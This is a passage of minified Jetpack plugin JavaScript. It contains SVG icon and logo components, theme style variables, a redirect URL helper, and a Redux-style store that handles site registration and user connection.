C17,7.8,17,8.2,16.8,8.4c-0.1,0.3-0.2,0.5-0.4,0.8c0,0.1-0.1,0.1-0.1,0.1s-0.1,0.1-0.2,0.1c-0.1,0-0.1,0-0.1,0 c-0.1,0-0.2,0.1-0.2,0.2c0,0-0.1,0.1-0.1,0.1s-0.1,0.1-0.1,0.1c0,0,0,0.1-0.1,0.2c0,0.1-0.1,0.1-0.1,0.1l-0.4,1.1 c-1.3,3.3-2.1,5.2-2.3,5.8h-2.2l-1-2.4c-0.1-0.3-0.3-0.8-0.5-1.3c-0.1-0.3-0.3-0.8-0.5-1.3L8,10.8c-0.1-0.1-0.1-0.2-0.1-0.4 C7.8,10.2,7.7,10,7.7,9.8C7.6,9.7,7.5,9.5,7.4,9.4C7.3,9.3,7.3,9.3,7.3,9.3c-0.1,0-0.2,0-0.2,0s-0.1,0-0.1,0 C6.6,8.5,6.3,7.6,5.9,6.7z"}))},boost:e=>{let{opacity:t=1,size:n,color:r}=e;return React.createElement(c,{size:n,opacity:t,color:r},React.createElement(o.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"M4.19505 16.2545C4.47368 16.561 4.94802 16.5836 5.25451 16.3049L10.2595 11.7549L14.2842 15.2765L19 10.5607V13.75H20.5V9.5V8.75239V8.7476V8H19.7529H19.7471H19H14.75V9.5H17.9393L14.2158 13.2235L10.2405 9.74507L4.2455 15.195C3.93901 15.4737 3.91642 15.948 4.19505 16.2545Z"}))},crm:e=>{let{opacity:t=1,size:n,color:r}=e;return React.createElement(c,{size:n,opacity:t,color:r},React.createElement(o.Path,{d:"M15.5 9.5a1 1 0 1 0 0-2 1 1 0 0 0 0 2Zm0 1.5a2.5 2.5 0 1 0 0-5 2.5 2.5 0 0 0 0 5Zm-2.25 6v-2a2.75 2.75 0 0 0-2.75-2.75h-4A2.75 2.75 0 0 0 3.75 15v2h1.5v-2c0-.69.56-1.25 1.25-1.25h4c.69 0 1.25.56 1.25 1.25v2h1.5Zm7-2v2h-1.5v-2c0-.69-.56-1.25-1.25-1.25H15v-1.5h2.5A2.75 2.75 0 0 1 20.25 15ZM9.5 8.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Zm1.5 0a2.5 2.5 0 1 1-5 0 2.5 2.5 0 0 1 5 0Z"}))},extras:e=>{let{opacity:t=1,size:n,color:r}=e;return React.createElement(c,{size:n,opacity:t,color:r},React.createElement(o.Path,{d:"M18.5 5.5V8H20V5.5h2.5V4H20V1.5h-1.5V4H16v1.5h2.5ZM12 4H6a2 2 0 0 0-2 2v12a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2v-6h-1.5v6a.5.5 0 0 1-.5.5H6a.5.5 0 0 1-.5-.5V6a.5.5 0 0 1 .5-.5h6V4Z"}))},protect:e=>{let{opacity:t=1,size:n,className:r,color:a}=e;return React.createElement(c,{className:r,size:n,opacity:t,color:a},React.createElement(o.Path,{d:"M12 3.17627L18.75 6.24445V10.8183C18.75 14.7173 16.2458 18.4089 12.7147 19.5735C12.2507 19.7265 11.7493 19.7265 11.2853 19.5735C7.75416 18.4089 5.25 14.7173 5.25 10.8183V6.24445L12 3.17627ZM6.75 7.21032V10.8183C6.75 14.1312 8.89514 17.2057 11.7551 18.149C11.914 18.2014 12.086 18.2014 12.2449 18.149C15.1049 17.2057 17.25 14.1312 17.25 10.8183V7.21032L12 4.82396L6.75 7.21032Z"}),React.createElement(o.Path,{d:"M15.5291 10.0315L11.1818 14.358L8.47095 11.66L9.52907 10.5968L11.1818 12.2417L14.4709 8.96826L15.5291 10.0315Z"}))},scan:e=>{let{opacity:t=1,size:n,color:r}=e;return React.createElement(c,{size:n,opacity:t,color:r},React.createElement(o.Path,{d:"m12 3.176 6.75 3.068v4.574c0 3.9-2.504 7.59-6.035 8.755a2.283 2.283 0 0 1-1.43 0c-3.53-1.164-6.035-4.856-6.035-8.755V6.244L12 3.176ZM6.75 7.21v3.608c0 3.313 2.145 6.388 5.005 7.33.159.053.331.053.49 0 2.86-.942 5.005-4.017 5.005-7.33V7.21L12 4.824 6.75 7.21Z"}))},search:e=>{let{opacity:t=1,size:n,color:r}=e;return React.createElement(c,{size:n,opacity:t,color:r},React.createElement(o.Path,{d:"M17.5 11.5a4 4 0 1 1-8 0 4 4 0 0 1 8 0Zm1.5 0a5.5 5.5 0 0 1-9.142 4.121l-3.364 2.943-.988-1.128 3.373-2.952A5.5 5.5 0 1 1 19 11.5Z"}))},social:e=>{let{opacity:t=1,size:n,color:r}=e;return React.createElement(c,{size:n,opacity:t,color:r},React.createElement(o.Path,{d:"M15.5 3.97809V18.0219L7.5 15.5977V20H6V15.1431L3.27498 14.3173C2.22086 13.9979 1.5 13.0262 1.5 11.9248V10.0752C1.5 8.97375 2.22087 8.00207 3.27498 7.68264L15.5 3.97809ZM14 16L7.5 14.0303L7.5 7.96969L14 5.99999V16ZM6 8.42423L6 13.5757L3.70999 12.8818C3.28835 12.754 3 12.3654 3 11.9248V10.0752C3 9.63462 3.28835 9.24595 3.70999 9.11818L6 8.42423ZM17.5 11.75H21.5V10.25H17.5V11.75ZM21.5 16L17.5 15V13.5L21.5 14.5V16ZM17.5 8.5L21.5 7.5V6L17.5 7V8.5Z"}))},star:e=>{let{size:t,className:n=l.Z["star-icon"],color:r}=e;return React.createElement(c,{className:n,size:t,color:r},React.createElement(o.Path,{d:"M12 2l2.582 6.953L22 9.257l-5.822 4.602L18.18 21 12 16.89 5.82 21l2.002-7.14L2 9.256l7.418-.304"}))},videopress:e=>{let{opacity:t=1,size:n,color:r}=e;return React.createElement(c,{size:n,opacity:t,color:r},React.createElement(o.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"M4.3,6.2c0.8,0,1.6,0.6,1.8,1.4l2.3,7.9c0,0,0,0,0,0l2.7-9.3h1.5h4.2c2.9,0,4.9,1.9,4.9,4.7c0,2.9-2,4.7-5,4.7 h-2h-2.5l-0.5,1.5c-0.4,1.4-1.7,2.3-3.2,2.3c-1.4,0-2.7-0.9-3.2-2.3L2.5,8.7C2.1,7.4,3,6.2,4.3,6.2z M13,12.8h2.9c1.3,0,2-0.7,2-1.9 c0-1.2-0.8-1.8-2-1.8h-1.7L13,12.8z"}))},jetpack:e=>{let{size:t,className:n=l.Z.jetpack,color:r}=e;return React.createElement(c,{className:n,size:t,color:r,viewBox:"0 0 32 32"},React.createElement(o.Path,{className:"jetpack-logo__icon-circle",d:"M16,0C7.2,0,0,7.2,0,16s7.2,16,16,16s16-7.2,16-16S24.8,0,16,0z"}),React.createElement(o.Polygon,{fill:"#fff",points:"15,19 7,19 15,3"}),React.createElement(o.Polygon,{fill:"#fff",points:"17,29 17,13 25,13"}))}},...{facebook:e=>{let{fill:t,size:n,className:r}=e;return React.createElement(u,{fill:t,size:n,className:s()(l.Z.facebook,r)},React.createElement(o.Path,{d:"M12,2C6.5,2,2,6.5,2,12c0,5,3.7,9.1,8.4,9.9v-7H7.9V12h2.5V9.8c0-2.5,1.5-3.9,3.8-3.9c1.1,0,2.2,0.2,2.2,0.2v2.5h-1.3 c-1.2,0-1.6,0.8-1.6,1.6V12h2.8l-0.4,2.9h-2.3v7C18.3,21.1,22,17,22,12C22,6.5,17.5,2,12,2z"}))},twitter:e=>{let{fill:t,size:n,className:r}=e;return React.createElement(u,{fill:t,size:n,className:s()(l.Z.twitter,r)},React.createElement(o.Path,{d:"M19,3H5C3.895,3,3,3.895,3,5v14c0,1.105,0.895,2,2,2h14c1.105,0,2-0.895,2-2V5C21,3.895,20.105,3,19,3z M16.466,9.71 c0.004,0.099,0.007,0.198,0.007,0.298c0,3.045-2.318,6.556-6.556,6.556c-1.301,0-2.512-0.381-3.532-1.035 c0.18,0.021,0.364,0.032,0.55,0.032c1.079,0,2.073-0.368,2.862-0.986c-1.008-0.019-1.859-0.685-2.152-1.6 c0.141,0.027,0.285,0.041,0.433,0.041c0.21,0,0.414-0.028,0.607-0.081c-1.054-0.212-1.848-1.143-1.848-2.259 c0-0.01,0-0.019,0-0.029c0.311,0.173,0.666,0.276,1.044,0.288c-0.618-0.413-1.025-1.118-1.025-1.918 c0-0.422,0.114-0.818,0.312-1.158c1.136,1.394,2.834,2.311,4.749,2.407c-0.039-0.169-0.06-0.344-0.06-0.525 c0-1.272,1.032-2.304,2.304-2.304c0.663,0,1.261,0.28,1.682,0.728c0.525-0.103,1.018-0.295,1.463-0.559 c-0.172,0.538-0.537,0.99-1.013,1.275c0.466-0.056,0.91-0.18,1.323-0.363C17.306,8.979,16.916,9.385,16.466,9.71z"}))},linkedin:e=>{let{fill:t,size:n,className:r}=e;return React.createElement(u,{fill:t,size:n,className:s()(l.Z.linkedin,r)},React.createElement(o.Path,{d:"M19.7 3H4.3C3.582 3 3 3.582 3 4.3v15.4c0 .718.582 1.3 1.3 1.3h15.4c.718 0 1.3-.582 1.3-1.3V4.3c0-.718-.582-1.3-1.3-1.3zM8.34 18.338H5.666v-8.59H8.34v8.59zM7.003 8.574c-.857 0-1.55-.694-1.55-1.548 0-.855.692-1.548 1.55-1.548.854 0 1.547.694 1.547 1.548 0 .855-.692 1.548-1.546 1.548zm11.335 9.764h-2.67V14.16c0-.995-.017-2.277-1.387-2.277-1.39 0-1.6 1.086-1.6 2.206v4.248h-2.668v-8.59h2.56v1.174h.036c.357-.675 1.228-1.387 2.527-1.387 2.703 0 3.203 1.78 3.203 4.092v4.71z"}))},tumblr:e=>{let{fill:t,size:n,className:r}=e;return React.createElement(u,{fill:t,size:n,className:s()(l.Z.tumblr,r)},React.createElement(o.Path,{d:"M19 3H5c-1.105 0-2 .895-2 2v14c0 1.105.895 2 2 2h14c1.105 0 2-.895 2-2V5c0-1.105-.895-2-2-2zm-5.57 14.265c-2.445.042-3.37-1.742-3.37-2.998V10.6H8.922V9.15c1.703-.615 2.113-2.15 2.21-3.026.006-.06.053-.084.08-.084h1.645V8.9h2.246v1.7H12.85v3.495c.008.476.182 1.13 1.08 1.107.3-.008.698-.094.907-.194l.54 1.6c-.205.297-1.12.642-1.946.657z"}))},google:e=>{let{fill:t,size:n,className:r}=e;return React.createElement(u,{fill:t,size:n,className:s()(l.Z.google,r)},React.createElement(o.Path,{d:"M12.02 10.18v3.73h5.51c-.26 1.57-1.67 4.22-5.5 4.22-3.31 0-6.01-2.75-6.01-6.12s2.7-6.12 6.01-6.12c1.87 0 3.13.8 3.85 1.48l2.84-2.76C16.99 2.99 14.73 2 12.03 2c-5.52 0-10 4.48-10 10s4.48 10 10 10c5.77 0 9.6-4.06 9.6-9.77 0-.83-.11-1.42-.25-2.05h-9.36z"}))},mastodon:e=>{let{fill:t,size:n,className:r}=e;return React.createElement(u,{fill:t,size:n,className:s()(l.Z.mastodon,r)},React.createElement(o.Path,{d:"M 19.997205,6.2868955 C 19.729197,4.3162778 17.992912,2.7633017 15.93468,2.4623753 15.587434,2.4115195 14.271759,2.2264681 11.224008,2.2264681 h -0.02277 c -3.0485688,0 -3.7026204,0.1850577 -4.0498676,0.2359072 C 5.1504449,2.7549655 3.3231548,4.1503966 2.879815,6.1443318 2.6665754,7.1263038 2.6438193,8.2149794 2.6834329,9.2136207 c 0.056471,1.4321143 0.067433,2.8617113 0.1989115,4.2879943 0.090908,0.947406 0.2494696,1.887266 0.4745239,2.812521 0.4214237,1.708868 2.1273496,3.130966 3.7987144,3.71116 1.7894479,0.605052 3.7138403,0.705478 5.5577463,0.290088 0.202828,-0.04667 0.403445,-0.100873 0.601781,-0.162549 0.447558,-0.140863 0.972662,-0.298434 1.358683,-0.575188 0.0052,-0.004 0.0097,-0.0089 0.01266,-0.01471 0.0031,-0.0056 0.0047,-0.01218 0.005,-0.01866 v -1.382076 c -9.4e-5,-0.006 -0.0016,-0.01202 -0.0043,-0.01754 -0.0027,-0.0054 -0.0067,-0.01028 -0.01155,-0.01392 -0.0049,-0.0038 -0.01044,-0.0063 -0.01648,-0.0078 -0.006,-0.0013 -0.01218,-0.0013 -0.01825,7.1e-5 -1.181368,0.279106 -2.391962,0.419012 -3.606552,0.416801 -2.0902554,0 -2.6524392,-0.981126 -2.8134375,-1.3896 -0.1293933,-0.353009 -0.2115739,-0.721231 -0.2444221,-1.095331 -3.29e-4,-0.0063 8.463e-4,-0.0125 0.00348,-0.01832 0.00253,-0.0056 0.00649,-0.01077 0.011389,-0.01471 0.0049,-0.004 0.010755,-0.0068 0.016957,-0.0081 0.00617,-0.0014 0.012655,-0.0012 0.018808,3.52e-4 1.1616831,0.277201 2.3525266,0.417106 3.5475526,0.416801 0.287408,0 0.573966,0 0.861395,-0.0074 1.201893,-0.03335 2.468685,-0.0942 3.6512,-0.322606 0.02952,-0.0058 0.059,-0.01091 0.0843,-0.01833 1.865209,-0.354279 3.640245,-1.466278 3.820617,-4.282163 0.0068,-0.110869 0.0236,-1.161191 0.0236,-1.276219 8.46e-4,-0.390958 0.127273,-2.7733487 -0.01856,-4.2371335 z m -2.87074,7.0263315 H 15.165179 V 8.5617567 c 0,-1.0003116 -0.421434,-1.5104614 -1.278618,-1.5104614 -0.942305,0 -1.414292,0.6035217 -1.414292,1.7955379 V 11.44764 H 10.522764 V 8.8468332 c 0,-1.1920162 -0.472832,-1.7955379 -1.4151372,-1.7955379 -0.8521293,0 -1.2777701,0.5101498 -1.2786179,1.5104614 V 13.313227 H 5.8693944 V 8.4175496 c 0,-1.0003133 0.2582014,-1.7949986 0.7745804,-2.3840846 0.5326766,-0.587672 1.2314038,-0.8894211 2.0986981,-0.8894211 1.003817,0 1.7623841,0.3817657 2.2680911,1.1445204 l 0.488023,0.8102521 0.488846,-0.8102521 c 0.505705,-0.7627547 1.264275,-1.1445204 2.26642,-1.1445204 0.866449,0 1.565152,0.3017491 2.099521,0.8894211 0.516404,0.5885211 0.774583,1.3832066 0.774583,2.3840846 z"}))}}};const p=e=>{let{serviceName:t,className:n}=e;const r=d[a=t]?d[a]:null;var a;return r?React.createElement(r,{className:n}):null}},78868:function(e,t,n){"use strict";var r=n(82674),a=n.n(r),o=n(65736),i=n(65235),s=n.n(i),l=n(99196),c=n.n(l);const __=o.__;t.Z=e=>{let{logoColor:t="#069e08",showText:n=!0,className:r,height:o=32,...i}=e;const l=n?"0 0 118 32":"0 0 32 32";return c().createElement("svg",a()({xmlns:"http://www.w3.org/2000/svg",x:"0px",y:"0px",viewBox:l,className:s()("jetpack-logo",r),"aria-labelledby":"jetpack-logo-title",height:o},i),c().createElement("desc",{id:"jetpack-logo-title"},__("Jetpack Logo","jetpack")),c().createElement("path",{fill:t,d:"M16,0C7.2,0,0,7.2,0,16s7.2,16,16,16s16-7.2,16-16S24.8,0,16,0z M15,19H7l8-16V19z M17,29V13h8L17,29z"}),n&&c().createElement(c().Fragment,null,c().createElement("path",{d:"M41.3,26.6c-0.5-0.7-0.9-1.4-1.3-2.1c2.3-1.4,3-2.5,3-4.6V8h-3V6h6v13.4C46,22.8,45,24.8,41.3,26.6z"}),c().createElement("path",{d:"M65,18.4c0,1.1,0.8,1.3,1.4,1.3c0.5,0,2-0.2,2.6-0.4v2.1c-0.9,0.3-2.5,0.5-3.7,0.5c-1.5,0-3.2-0.5-3.2-3.1V12H60v-2h2.1V7.1 H65V10h4v2h-4V18.4z"}),c().createElement("path",{d:"M71,10h3v1.3c1.1-0.8,1.9-1.3,3.3-1.3c2.5,0,4.5,1.8,4.5,5.6s-2.2,6.3-5.8,6.3c-0.9,0-1.3-0.1-2-0.3V28h-3V10z M76.5,12.3 c-0.8,0-1.6,0.4-2.5,1.2v5.9c0.6,0.1,0.9,0.2,1.8,0.2c2,0,3.2-1.3,3.2-3.9C79,13.4,78.1,12.3,76.5,12.3z"}),c().createElement("path",{d:"M93,22h-3v-1.5c-0.9,0.7-1.9,1.5-3.5,1.5c-1.5,0-3.1-1.1-3.1-3.2c0-2.9,2.5-3.4,4.2-3.7l2.4-0.3v-0.3c0-1.5-0.5-2.3-2-2.3 c-0.7,0-2.3,0.5-3.7,1.1L84,11c1.2-0.4,3-1,4.4-1c2.7,0,4.6,1.4,4.6,4.7L93,22z M90,16.4l-2.2,0.4c-0.7,0.1-1.4,0.5-1.4,1.6 c0,0.9,0.5,1.4,1.3,1.4s1.5-0.5,2.3-1V16.4z"}),c().createElement("path",{d:"M104.5,21.3c-1.1,0.4-2.2,0.6-3.5,0.6c-4.2,0-5.9-2.4-5.9-5.9c0-3.7,2.3-6,6.1-6c1.4,0,2.3,0.2,3.2,0.5V13 c-0.8-0.3-2-0.6-3.2-0.6c-1.7,0-3.2,0.9-3.2,3.6c0,2.9,1.5,3.8,3.3,3.8c0.9,0,1.9-0.2,3.2-0.7V21.3z"}),c().createElement("path",{d:"M110,15.2c0.2-0.3,0.2-0.8,3.8-5.2h3.7l-4.6,5.7l5,6.3h-3.7l-4.2-5.8V22h-3V6h3V15.2z"}),c().createElement("path",{d:"M58.5,21.3c-1.5,0.5-2.7,0.6-4.2,0.6c-3.6,0-5.8-1.8-5.8-6c0-3.1,1.9-5.9,5.5-5.9s4.9,2.5,4.9,4.9c0,0.8,0,1.5-0.1,2h-7.3 c0.1,2.5,1.5,2.8,3.6,2.8c1.1,0,2.2-0.3,3.4-0.7C58.5,19,58.5,21.3,58.5,21.3z M56,15c0-1.4-0.5-2.9-2-2.9c-1.4,0-2.3,1.3-2.4,2.9 C51.6,15,56,15,56,15z"})))}},22636:function(e,t,n){"use strict";var r=n(65235),a=n.n(r),o=n(99196),i=n.n(o),s=n(46409);t.Z=e=>{let{children:t=null,width:n=null,height:r=null,className:o=""}=e;return i().createElement("div",{className:a()(s.Z.placeholder,o),style:{width:n,height:r}},t)}},52947:function(e,t,n){"use strict";var r=n(98709);t.Z=function(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};const n=(0,r.X)();return new Intl.NumberFormat(n,t).format(e)}},49777:function(e,t,n){"use strict";var r=n(28918);t.Z=e=>{let{value:t="https://jetpack.com",bgColor:n,fgColor:a,level:o,includeMargin:i,imageSettings:s,renderAs:l="canvas",size:c=248}=e;return React.createElement(r.ZP,{value:t,size:c,bgColor:n,fgColor:a,level:o,includeMargin:i,imageSettings:s,renderAs:l})}},88275:function(e,t,n){"use strict";var r=n(99196),a=n.n(r),o=n(93468);const i={"--font-headline-medium":"48px","--font-headline-small":"36px","--font-title-medium":"24px","--font-title-small":"20px","--font-body":"16px","--font-body-small":"14px","--font-body-extra-small":"12px","--font-title-large":"var(--font-headline-small)","--font-label":"var(--font-body-extra-small)"},s={"--jp-black":"#000000","--jp-black-80":"#2c3338","--jp-white":"#ffffff","--jp-white-off":"#f9f9f6","--jp-gray":"#dcdcde","--jp-gray-0":"#F6F7F7","--jp-gray-10":"#C3C4C7","--jp-gray-20":"#A7AAAD","--jp-gray-40":"#787C82","--jp-gray-50":"#646970","--jp-gray-60":"#50575E","--jp-gray-70":"#3C434A","--jp-gray-80":"#2C3338","--jp-gray-90":"#1d2327","--jp-gray-off":"#e2e2df","--jp-red-0":"#F7EBEC","--jp-red-5":"#FACFD2","--jp-red-40":"#E65054","--jp-red-50":"#D63638","--jp-red-60":"#B32D2E","--jp-red-70":"#8A2424","--jp-red-80":"#691C1C","--jp-red":"#d63639","--jp-yellow-5":"#F5E6B3","--jp-yellow-10":"#F2CF75","--jp-yellow-20":"#F0C930","--jp-yellow-30":"#DEB100","--jp-yellow-40":"#C08C00","--jp-yellow-50":"#9D6E00","--jp-yellow-60":"#7D5600","--jp-blue-20":"#68B3E8","--jp-blue-40":"#1689DB","--jp-pink":"#C9356E","--jp-green-0":"#f0f2eb","--jp-green-5":"#d0e6b8","--jp-green-10":"#9dd977","--jp-green-20":"#64ca43","--jp-green-30":"#2fb41f","--jp-green-40":"#069e08","--jp-green-50":"#008710","--jp-green-60":"#007117","--jp-green-70":"#005b18","--jp-green-80":"#004515","--jp-green-90":"#003010","--jp-green-100":"#001c09","--jp-green":"#069e08","--jp-green-primary":"var( --jp-green-40 )","--jp-green-secondary":"var( --jp-green-30 )"},l={"--jp-border-radius":"4px","--jp-menu-border-height":"1px","--jp-underline-thickness":"2px"},c={"--spacing-base":"8px"},u={},d=(e,t,n)=>{const r={...i,...s,...l,...c};for(const t in r)e.style.setProperty(t,r[t]);n&&e.classList.add(o.Z.global),t&&(u[t]={provided:!0,root:e})};t.ZP=e=>{let{children:t=null,targetDom:n,id:o,withGlobalStyles:i=!0}=e;const s=(0,r.useRef)(),l=u?.[o]?.provided;return(0,r.useLayoutEffect)((()=>{if(!l)return n?d(n,o,i):void(s?.current&&d(s.current,o,i))}),[n,s,l,o,i]),n?t:a().createElement("div",{ref:s},t)}},98709:function(e,t,n){"use strict";n.d(t,{X:function(){return a}});var r=n(69771);const a=()=>{var e;const{l10n:{locale:t}}=(0,r.getSettings)();if(t)return(e=>{const t=e.match(/^([a-z]{2,3})(_[a-z]{2}|_[a-z][a-z0-9]{4,7})?(?:_.*)?$/i);return t?`${t[1]}${t[2]?t[2]:""}`.replace("_","-"):"en-US"})(t);return null!==(e=window?.window?.navigator?.language)&&void 0!==e?e:"en-US"}},6895:function(e,t,n){"use strict";function r(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};const n={};let r;if("undefined"!=typeof window&&(r=window.Initial_State?.calypsoEnv),0===e.search("https://")){const t=new URL(e);e=`https://${t.host}${t.pathname}`,n.url=encodeURIComponent(e)}else n.source=encodeURIComponent(e);Object.keys(t).map((e=>{n[e]=encodeURIComponent(t[e])})),!Object.keys(n).includes("site")&&"undefined"!=typeof jetpack_redirects&&jetpack_redirects.hasOwnProperty("currentSiteRawUrl")&&(n.site=jetpack_redirects.currentSiteRawUrl),r&&(n.calypso_env=r);return"https://jetpack.com/redirect/?"+Object.keys(n).map((e=>e+"="+n[e])).join("&")}n.d(t,{Z:function(){return r}})},61132:function(e,t,n){let r={};try{r=n(92787)}catch{console.error("jetpackConfig is missing in your webpack config file. See @automattic/jetpack-config"),r={missingConfig:!0}}const a=e=>r.hasOwnProperty(e);e.exports={jetpackConfigHas:a,jetpackConfigGet:e=>{if(!a(e))throw'This app requires the "'+e+'" Jetpack Config to be defined in your webpack configuration file. See details in @automattic/jetpack-config package docs.';return r[e]}}},31294:function(e,t,n){"use strict";var r=n(64743),a=n(9818),o=n(99196),i=n(80428);const s=window?.JP_CONNECTION_INITIAL_STATE?window.JP_CONNECTION_INITIAL_STATE:{};t.Z=function(){let{registrationNonce:e=s.registrationNonce,apiRoot:t=s.apiRoot,apiNonce:n=s.apiNonce,redirectUri:l,autoTrigger:c,from:u,skipUserConnection:d}=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};const{registerSite:p,connectUser:m,refreshConnectedPlugins:h}=(0,a.useDispatch)(i.t),f=(0,a.useSelect)((e=>e(i.t).getRegistrationError())),{siteIsRegistering:g,userIsConnecting:b,userConnectionData:v,connectedPlugins:k,connectionErrors:y,isRegistered:E,isUserConnected:w,hasConnectedOwner:_}=(0,a.useSelect)((e=>({siteIsRegistering:e(i.t).getSiteIsRegistering(),userIsConnecting:e(i.t).getUserIsConnecting(),userConnectionData:e(i.t).getUserConnectionData(),connectedPlugins:e(i.t).getConnectedPlugins(),connectionErrors:e(i.t).getConnectionErrors(),...e(i.t).getConnectionStatus()}))),C=()=>d?l?(window.location=l,Promise.resolve(l)):Promise.resolve():m({from:u,redirectUri:l}),S=t=>(t&&t.preventDefault(),E?C():p({registrationNonce:e,redirectUri:l}).then((()=>C())));return(0,o.useEffect)((()=>{r.ZP.setApiRoot(t),r.ZP.setApiNonce(n)}),[t,n]),(0,o.useEffect)((()=>{!c||g||b||S()}),[]),{handleRegisterSite:S,handleConnectUser:C,refreshConnectedPlugins:h,isRegistered:E,isUserConnected:w,siteIsRegistering:g,userIsConnecting:b,registrationError:f,userConnectionData:v,hasConnectedOwner:_,connectedPlugins:k,connectionErrors:y}}},27523:function(e,t,n){"use strict";n.d(t,{LI:function(){return o},N4:function(){return s},Qo:function(){return d},T1:function(){return c},TS:function(){return u},ZP:function(){return E},b5:function(){return m},i6:function(){return a},qV:function(){return l},r7:function(){return i},wQ:function(){return p}});var r=n(64743);const a="SET_CONNECTION_STATUS",o="SET_CONNECTION_STATUS_IS_FETCHING",i="SET_SITE_IS_REGISTERING",s="SET_USER_IS_CONNECTING",l="SET_REGISTRATION_ERROR",c="CLEAR_REGISTRATION_ERROR",u="SET_AUTHORIZATION_URL",d="DISCONNECT_USER_SUCCESS",p="SET_CONNECTED_PLUGINS",m="SET_CONNECTION_ERRORS",h=e=>({type:a,connectionStatus:e}),f=e=>({type:i,isRegistering:e}),g=e=>({type:s,isConnecting:e}),b=e=>({type:l,registrationError:e}),v=()=>({type:c}),k=e=>({type:u,authorizationUrl:e}),y=e=>({type:p,connectedPlugins:e});const E={setConnectionStatus:h,setConnectionStatusIsFetching:e=>({type:o,isFetching:e}),fetchConnectionStatus:()=>({type:"FETCH_CONNECTION_STATUS"}),fetchAuthorizationUrl:e=>({type:"FETCH_AUTHORIZATION_URL",redirectUri:e}),setSiteIsRegistering:f,setUserIsConnecting:g,setRegistrationError:b,clearRegistrationError:v,setAuthorizationUrl:k,registerSite:function(e){let{registrationNonce:t,redirectUri:n}=e;return function*(){yield v(),yield f(!0);try{const e=yield{type:"REGISTER_SITE",registrationNonce:t,redirectUri:n};return yield h({isRegistered:!0}),yield k(e.authorizeUrl),yield f(!1),Promise.resolve(e)}catch(e){return yield b(e),yield f(!1),Promise.reject(e)}}()},connectUser:function(){let{from:e,redirectFunc:t,redirectUri:n}=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};return function*(){yield g(!0),yield{type:"CONNECT_USER",from:e,redirectFunc:t,redirectUri:n}}()},disconnectUserSuccess:()=>({type:d}),setConnectedPlugins:y,refreshConnectedPlugins:()=>async e=>{let{dispatch:t}=e;return await new Promise((e=>r.ZP.fetchConnectedPlugins().then((n=>{t(y(n)),e(n)}))))},setConnectionErrors:e=>({type:m,connectionErrors:e})}},31432:function(e,t,n){"use strict";var r=n(64743),a=n(9818),o=n(27057);const i=(0,a.createRegistryControl)((e=>{let{resolveSelect:t}=e;return function(){let{from:e,redirectFunc:n,redirectUri:r}=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};return new Promise(((a,i)=>{t(o.Z).getAuthorizationUrl(r).then((t=>{const r=n||(e=>window.location.assign(e)),o=new URL(t);e&&o.searchParams.set("from",encodeURIComponent(e));const i=o.toString();r(i),a(i)})).catch((e=>{i(e)}))}))}}));t.Z={FETCH_AUTHORIZATION_URL:e=>{let{redirectUri:t}=e;return r.ZP.fetchAuthorizationUrl(t)},REGISTER_SITE:e=>{let{registrationNonce:t,redirectUri:n}=e;return r.ZP.registerSite(t,n)},CONNECT_USER:i}},41479:function(e,t,n){"use strict";var r=n(9818),a=n(27523);const o=(0,r.combineReducers)({connectionStatus:function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},t=arguments.length>1?arguments[1]:void 0;switch(t.type){case a.i6:return{...e,...t.connectionStatus};case a.Qo:return{...e,isUserConnected:!1}}return e},connectionStatusIsFetching:function(){let e=arguments.length>0&&void 0!==arguments[0]&&arguments[0],t=arguments.length>1?arguments[1]:void 0;return t.type===a.LI?t.isFetching:e},siteIsRegistering:function(){let e=arguments.length>0&&void 0!==arguments[0]&&arguments[0],t=arguments.length>1?arguments[1]:void 0;return t.type===a.r7?t.isRegistering:e},userIsConnecting:function(){let e=arguments.length>0&&void 0!==arguments[0]&&arguments[0],t=arguments.length>1?arguments[1]:void 0;return t.type===a.N4?t.isConnecting:e},registrationError:(e,t)=>{switch(t.type){case a.T1:return!1;case a.qV:return t.registrationError;default:return e}},authorizationUrl:(e,t)=>t.type===a.TS?t.authorizationUrl:e,userConnectionData:(e,t)=>(t.type,e),connectedPlugins:function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},t=arguments.length>1?arguments[1]:void 0;return t.type===a.wQ?t.connectedPlugins:e},connectionErrors:function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},t=arguments.length>1?arguments[1]:void 0;return t.type===a.b5?t.connectionErrors:e}});t.Z=o},77728:function(e,t,n){"use strict";var r=n(9818),a=n(27523),o=n(27057);const i={getAuthorizationUrl:{isFulfilled:function(e){const t=Boolean(e.authorizationUrl);for(var n=arguments.length,a=new Array(n>1?n-1:0),i=1;i<n;i++)a[i-1]=arguments[i];const s=(0,r.select)(o.Z).hasFinishedResolution("getAuthorizationUrl",a);return t&&!s&&(0,r.dispatch)(o.Z).finishResolution("getAuthorizationUrl",a),t},*fulfill(e){const t=yield a.ZP.fetchAuthorizationUrl(e);yield a.ZP.setAuthorizationUrl(t.authorizeUrl)}}};t.Z={...i}},82725:function(e,t){"use strict";const n={...{getConnectionStatus:e=>e.connectionStatus||{},getConnectionStatusIsFetching:()=>!1,getSiteIsRegistering:e=>e.siteIsRegistering||!1,getUserIsConnecting:e=>e.userIsConnecting||!1,getRegistrationError:e=>e.registrationError||!1,getAuthorizationUrl:e=>e.authorizationUrl||!1,getUserConnectionData:e=>e.userConnectionData||!1,getConnectedPlugins:e=>e.connectedPlugins||[],getConnectionErrors:e=>e.connectionErrors||[],getWpcomUser:e=>e?.userConnectionData?.currentUser?.wpcomUser,getBlogId:e=>e?.userConnectionData?.currentUser?.blogId}};t.Z=n},13535:function(e,t,n){"use strict";var r=n(90017),a=n.n(r),o=n(9818);class i{static mayBeInit(e,t){null===i.store&&(i.store=(0,o.createReduxStore)(e,t),(0,o.register)(i.store))}}a()(i,"store",null),t.Z=i},27057:function(e,t){"use strict";t.Z="jetpack-connection"},80428:function(e,t,n){"use strict";n.d(t,{t:function(){return c.Z}});var r=n(27523),a=n(31432),o=n(41479),i=n(77728),s=n(82725),l=n(13535),c=n(27057);const 